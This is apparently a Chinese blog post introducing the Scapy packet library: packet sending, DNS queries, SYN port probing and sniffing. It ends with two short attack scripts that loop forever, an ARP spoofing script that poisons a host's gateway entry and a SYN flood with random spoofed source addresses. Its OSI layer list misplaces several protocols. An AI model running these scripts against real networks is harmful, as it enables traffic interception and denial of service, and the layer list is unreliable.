scapy系列

cooolr 于 2022-10-13 发布

OSI七层模型:

第七层:应用层: HTTP、TFTP, FTP, NFS, WAIS、SMTP
第六层:表示层: Telnet, Rlogin, SNMP, Gopher
第五层:会话层: SMTP, DNS
第四层:传输层: TCP, UDP
第三层:网络层: IP, ICMP, ARP, RARP, AKP, UUCP
第二层:数据链路层: FDDI, Ethernet, Arpanet, PDN, SLIP, PPP
第一层:物理层: IEEE 802.1A, IEEE 802.2到IEEE 802.11

发送数据包

send()函数将会在第3层发送数据包。
>>> send(IP(dst="1.2.3.4")/ICMP())

sendp()函数将会工作在第2层。
>>> sendp("I'm travelling on Ethernet", iface="eth1", loop=1, inter=0.2)

发送和接收数据包(sr)

sr()函数是用来发送数据包和接收应答。
sr1()发送的数据包必须是第3层报文(IP,ARP等)。
srp()则是使用第2层报文(以太网,802.3等)。
dns查询
>>> sr1(IP(dst="192.168.5.1")/UDP()/DNS(rd=1,qd=DNSQR(qname="www.slashdot.org")))

SYN scans
>>>sr1(IP(dst='120.25.0.67')/TCP(dport=8000,flags="S"))
返回SA则表明端口是open的

模拟udp数据包

sr1(IP(dst='112.74.208.92')/UDP(dport=1024,sport=6666)/"hello world")

抓包

sniff(iface='wlan0',filter='udp and port 1024',count=5,prn=lambda x:x.summary())

ARP

from scapy.all import *

def make_arp(ip, mac):
    arp = ARP(
        op = 2,
        hwsrc = "48:ef:af:49:22:e2",
        psrc = "192.168.31.1",
        hwdst = mac,
        pdst = ip
    )
    return arp

while True:send(make_arp("192.168.31.100", "ff:ff:ss:ss:ss"))

SYN

import random
from scapy.all import *

def n():
    return random.randrange(1,256)

def random_ip():
    return '%d.%d.%d.%d'%(n(),n(),n(),n())

def make_syn(ip, port):
    ip=IP(src=random_ip(),dst=ip)
    tcp=TCP(sport=random.randrange(1,65535),dport=port,flags='S')
    return ip/tcp

while True:send(make_syn("192.168.1.158", 8111))